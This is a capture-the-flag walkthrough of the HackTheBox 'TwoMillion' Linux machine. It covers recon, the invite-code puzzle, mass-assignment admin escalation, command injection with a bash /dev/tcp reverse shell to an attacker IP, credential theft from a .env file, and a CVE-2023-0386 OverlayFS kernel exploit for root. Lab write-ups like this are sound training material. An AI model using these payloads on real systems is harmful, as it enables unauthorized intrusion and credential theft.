< BACK TO HUB
EASY DIFFICULTY

TWOMILLION

TARGET OS: LINUX | AUTHOR: LEANDROS

TwoMillion is a fantastic Easy-rated Linux machine released to celebrate HackTheBox reaching two million users. The intrusion is highly nostalgic, requiring us to solve the classic "Invite Code" Javascript puzzle from the old HTB platform. After registering, I abused an API Mass Assignment vulnerability to elevate my account to an administrator. This allowed me to exploit an OS Command Injection flaw in the VPN generation endpoint to gain a foothold. I moved laterally by finding hardcoded database credentials in a .env file, and escalated to root by executing a sophisticated OverlayFS Kernel Exploit (CVE-2023-0386). Here is my complete mission log.

PHASE 1: RECONNAISSANCE

I initiated the engagement with an Nmap TCP port scan to map the target's external attack surface.

TERMINAL - NMAP TCP SCAN
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p22,80 <IP>
OUTPUT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1
80/tcp open  http    nginx
|_http-title: Did not follow redirect to http://2million.htb/

The scan revealed SSH and an Nginx web server redirecting to 2million.htb. I mapped the domain in my /etc/hosts file and navigated to the site.

The website is a perfect replica of the original HackTheBox landing page. Clicking "Join" redirected me to an /invite page, prompting me for an Invite Code. Time to solve the classic puzzle.

PHASE 2: THE INVITE CODE PUZZLE

I opened the browser's Developer Tools and inspected the page source. I found a reference to an obfuscated JavaScript file: /js/inviteapi.min.js.

After prettifying the code, I identified a function called makeInviteCode(). I executed this function directly in the browser's web console.

WEB CONSOLE - JAVASCRIPT EXECUTION
> makeInviteCode()
{
  "0": 200,
  "success": 1,
  "data": {
    "data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv/i1/vaivgr/trarengr",
    "enctype": "ROT13"
  }
}

The output was an encrypted string using ROT13. Using CyberChef to decode it, the message translated to: "In order to generate the invite code, make a POST request to /api/v1/invite/generate".

I fired up my terminal and used curl to send the requested POST HTTP request to the API.

TERMINAL - API REQUEST
curl -X POST http://2million.htb/api/v1/invite/generate
OUTPUT
{"0":200,"success":1,"data":{"code":"VlZCUkQtVVRLTkQtRVdYTEktRVJIVVY=","format":"encoded"}}

The API returned a Base64 encoded string. I decoded it (echo "VlZCUkQtVVRLTkQtRVdYTEktRVJIVVY=" | base64 -d) and retrieved the plaintext invite code: VVBRD-UTKND-EWXLI-ERHUV. I submitted this code on the website and successfully registered an account.

PHASE 3: MASS ASSIGNMENT TO COMMAND INJECTION

Now authenticated, I began exploring the web portal while capturing traffic in Burp Suite. I noticed several requests to the /api/v1 endpoint. Attempting to access /api/v1 directly returned a JSON list of all available API routes!

Two routes stood out: /api/v1/admin/settings/update and /api/v1/admin/vpn/generate. Accessing these normally returned a 401 Unauthorized error because my account lacked admin privileges.

[!] VULNERABILITY DETECTED: API MASS ASSIGNMENT

Mass Assignment occurs when a web framework automatically binds client-provided data (like JSON payload parameters) directly to internal object properties without proper filtering. If the API endpoint updating user settings doesn't explicitly block the modification of the is_admin flag, we can force the framework to upgrade our account!

I sent a PUT request to the settings update endpoint, injecting the is_admin attribute into my JSON payload.

PAYLOAD - BURP SUITE (ACCOUNT ELEVATION)
PUT /api/v1/admin/settings/update HTTP/1.1
Host: 2million.htb
Content-Type: application/json
Cookie: PHPSESSID=<MY_SESSION>

{"email":"test@test.com", "is_admin":1}

The server responded with a 200 OK. I was now an administrator! This unlocked the /api/v1/admin/vpn/generate endpoint. I analyzed how this endpoint functioned by sending a test request with my username.

[!] VULNERABILITY DETECTED: OS COMMAND INJECTION

The VPN generation endpoint takes a username parameter and passes it directly into a system shell command (likely to generate an OpenVPN certificate for that user) without sanitization. We can terminate the original command using a semicolon (;) and inject a reverse shell payload.

I set up a Netcat listener on my attacker machine and sent the malicious payload through Burp Suite.

PAYLOAD - COMMAND INJECTION
POST /api/v1/admin/vpn/generate HTTP/1.1
Content-Type: application/json

{"username":"admin;bash -c 'bash -i >& /dev/tcp/<IP_ATTACKER>/<PORT> 0>&1'"}

The backend executed the payload, and I caught a reverse shell as www-data.

PHASE 4: LATERAL MOVEMENT

To move laterally to a system user, I enumerated the web root directory. Modern web applications frequently store sensitive configuration data and database passwords in environment files.

TERMINAL - READING .ENV FILE
cat /var/www/html/.env
OUTPUT
DB_DATABASE=HTB
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

I discovered hardcoded database credentials: admin : SuperDuperPass123. I checked the /etc/passwd file and confirmed that admin was also a valid local system user. Due to password reuse, I successfully SSH'd into the machine as the admin user and claimed the user.txt flag.

PHASE 5: PRIVILEGE ESCALATION (KERNEL EXPLOIT)

With a secure shell established, I began hunting for privilege escalation vectors. I checked the kernel version of the machine.

TERMINAL - KERNEL ENUMERATION
uname -a
OUTPUT
Linux 2million 5.15.0-70-generic #77-Ubuntu SMP Tue Mar 21 14:02:37 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux

[!] EXPLOIT STRATEGY: CVE-2023-0386 (OVERLAYFS)

This specific kernel version (5.15.0-70) is vulnerable to CVE-2023-0386. This is a critical flaw in the Linux kernel's OverlayFS subsystem.

OverlayFS allows combining two directories (an upper and lower layer) into one single merged filesystem. The vulnerability occurs because the kernel fails to properly verify permissions when copying a file from an unprivileged FUSE mount (where we control everything, including creating SUID root files) into an OverlayFS mount. This allows us to smuggle a malicious SUID root binary into the main filesystem.

I downloaded the exploit PoC from GitHub (sxlmnwb/CVE-2023-0386), zipped it up, and transferred it to the victim machine's /tmp directory using a Python HTTP server. Once transferred, I unzipped and compiled it.

TERMINAL - COMPILING EXPLOIT
wget http://<IP_ATTACKER>/CVE-2023-0386.zip
unzip CVE-2023-0386.zip
cd CVE-2023-0386/
make all

The exploit requires two terminal sessions to work effectively. In my first SSH session, I initiated the FUSE mount and the Garbage Collection loop.

TERMINAL 1 - FUSE MOUNT
./fuse ./ovlcap/lower ./gc

I opened a second SSH connection to the machine. While the FUSE mount was active in the background, I executed the main exploit binary in this new session. This triggers the OverlayFS bug, copies the smuggled SUID shell, and executes it.

TERMINAL 2 - TRIGGERING EXPLOIT
./exp
OUTPUT
[+] Exploit successful!
root@2million:/tmp/CVE-2023-0386# whoami
root

The kernel exploit successfully smuggled the SUID binary, dropping me into a root shell. I claimed the root.txt flag. System Compromised.